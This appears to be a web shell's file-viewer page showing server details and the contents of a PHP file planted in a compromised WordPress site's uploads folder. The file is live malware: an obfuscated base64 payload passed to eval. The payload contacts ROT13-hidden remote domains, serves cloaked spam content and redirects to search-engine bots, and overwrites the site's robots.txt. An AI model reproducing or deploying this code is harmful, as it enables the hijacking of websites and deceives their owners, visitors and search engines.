HEX
Server: LiteSpeed
System: Linux s324 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User: leoir (1352)
PHP: 8.3.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/leoir/domains/leo-co.ir/public_html/wp-content/uploads/cafccefhgc.php
<?php 
$a=base64_decode('CiR4bWxzdHJpbmcgPSAnJTMzJTMwJTMyJTM1JTJEJTY1JTZFJTYxJTc4JTMyJTMxJTMzJTJFJTc2JTdBJTYzJTY4JTc5JTY2JTYyJTY1JTJFJTZCJTZDJTZELCUzMyUzMCUzMiUzNSUyRCU2NSU2RSU2MSU3OCUzMiUzMSUzMyUyRSU2OSU3NiU2NSU2RSU3OSU3NiU2NyU3NSU3MiUyRSU2QiU2QyU2RCwlMzMlMzAlMzIlMzUlMkQlNjUlNkUlNjElNzglMzIlMzElMzMlMkUlNzMlNkUlNjYlNjclNjIlNjUlNzIlNjYlMkUlNjclNjIlNjMsJTMzJTMwJTMyJTM1JTJEJTY1JTZFJTYxJTc4JTMyJTMxJTMzJTJFJTc5JTc2JTdBJTc2JTYxJTZFJTc5JTc2JTY2JTJFJTY3JTYyJTYzJzsKJHhtbG5hbWUgPSBleHBsb2RlKCcsJywgJHhtbHN0cmluZyk7CiRodHRwID0gaXNfaHR0cHMoKSA/ICdodHRwcycgOiAnaHR0cCc7CiRkdXJpX3RtcCA9IGRyZXF1ZXN0X3VyaSgpOwokZHVyaSA9IGVtcHR5KCRkdXJpX3RtcCkgPyAnLycgOiAkZHVyaV90bXA7CiRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokbGFuZyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA/ICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddIDogJ2VuJzsKJHVybHNoYW5nID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6ICcnOwokd2ViID0gJ3dlYj0nIC4gJGhvc3QgLiAnJnp6PScgLiAoZGlzYm90KCkgPyAnMScgOiAnMCcpIC4gJyZ1cmk9JyAuIHVybGVuY29kZSgkZHVyaSkgLiAnJnVybHNoYW5nPScgLiB1cmxlbmNvZGUoJHVybHNoYW5nKSAuICcmaHR0cD0nIC4gJGh0dHAgLiAnJmxhbmc9JyAuICRsYW5nOwokaHRtbF9jb250ZW50ID0gZG91dGRvKCR4bWxuYW1lLCAkaHR0cCwgJHdlYik7CiRyb2JvdHNQYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvcm9ib3RzLnR4dCc7CiRodGEgPSAiIjsKaWYgKHN0cmlzdHIoJGR1cmksICcvPycpKSB7CiAgICAkaHRhID0gIj8iOwp9CiRkZWZhdWx0Q29udGVudCA9ICdVc2VyLWFnZW50OiAqJyAuIFBIUF9FT0w7CiRkZWZhdWx0Q29udGVudCAuPSAnQWxsb3c6IC8nIC4gUEhQX0VPTCAuIFBIUF9FT0w7CiRkZWZhdWx0Q29udGVudCAuPSAnU2l0ZW1hcDogJyAuICRodHRwIC4gJzovLycgLiAkaG9zdCAuICcvJyAuICRodGEgLiAnc2l0ZW1hcC54bWwnIC4gUEhQX0VPTDsKaWYgKCFmaWxlX2V4aXN0cygkcm9ib3RzUGF0aCkpIHsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRyb2JvdHNQYXRoLCAkZGVmYXVsdENvbnRlbnQpOwp9IGVsc2UgewogICAgaWYgKG1kNV9maWxlKCRyb2JvdHNQYXRoKSAhPT0gbWQ1KCRkZWZhdWx0Q29udGVudCkpIHsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHJvYm90c1BhdGgsICRkZWZhdWx0Q29udGVudCk7CiAgICB9Cn0KaWYgKCFzdHJzdHIoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykpIHsKICAgIGhhbmRsZV9jb250ZW50KCRodG1sX2NvbnRlbnQpOwp9CmZ1bmN0aW9uIGlzX2h0dHBzKCkKewogICAgcmV0dXJuICgKICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSkgIT09ICdvZmYnCiAgICAgICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJwogICAgICAgIHx8IGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicKICAgICk7Cn0KZnVuY3Rpb24gZHJlcXVlc3RfdXJpKCkKewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnYXJndiddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydhcmd2J11bMF07CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKICAgIH0KfQpmdW5jdGlvbiBkaXNib3QoKQp7CiAgICAkdUFnZW50ID0gc3RydG9sb3dlcihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIDogJycpOwogICAgcmV0dXJuIHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2JpbmcnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICd5YWhvbycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZScpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ0dvb2dsZWJvdCcpOwp9CmZ1bmN0aW9uIGRvdXRkbygkd2VicywgJGh0dHAsICR3ZWIpCnsKICAgIHNodWZmbGUoJHdlYnMpOwogICAgZm9yZWFjaCAoJHdlYnMgYXMgJGRvbWFpbikgewogICAgICAgICRkb21haW4gPSBzdHJfcm90MTModXJsZGVjb2RlKCRkb21haW4pKTsKICAgICAgICAkdXJsID0gJ2h0dHA6Ly8nIC4gJGRvbWFpbiAuICcvaW5kZXgucGhwPycgLiAkd2ViOwogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgaWYgKCFjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRyZXNwb25zZSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlY2hvICdjVVJMIEVycm9yOiAwJzsKfQpmdW5jdGlvbiBoYW5kbGVfY29udGVudCgkaHRtbF9jb250ZW50KQp7CiAgICBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva2h0bWxnZXRpbWcnKSkgewogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnJyk7CiAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgib2todG1sZ2V0aW1nIiwgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbGdldGNzcycpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvY3NzOyBjaGFyc2V0PXV0Zi04Jyk7CiAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgib2todG1sZ2V0Y3NzIiwgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbGdldGNvbnRlbnQnKSkgewogICAgICAgIGhlYWRlcignQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnKTsKICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29reG1sZ2V0Y29udGVudCcpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbDsgY2hhcnNldD11dGYtOCcpOwogICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIm9reG1sZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2VpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NTAwcGFnZScpKSB7CiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMSA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yJyk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDQwNHBhZ2UnKSkgewogICAgICAgIGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQzMDFwYWdlJykpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4xIDMwMSBNb3ZlZCBQZXJtYW5lbnRseScpOwogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgnZ2V0Y29udGVudDMwMXBhZ2UnLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29rcm9ib3RzZ2V0Y29udGVudCcpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsKICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva3JvYm90c2dldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgZXhpdCgpOwogICAgfQp9CmRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7Cg==');
eval($a);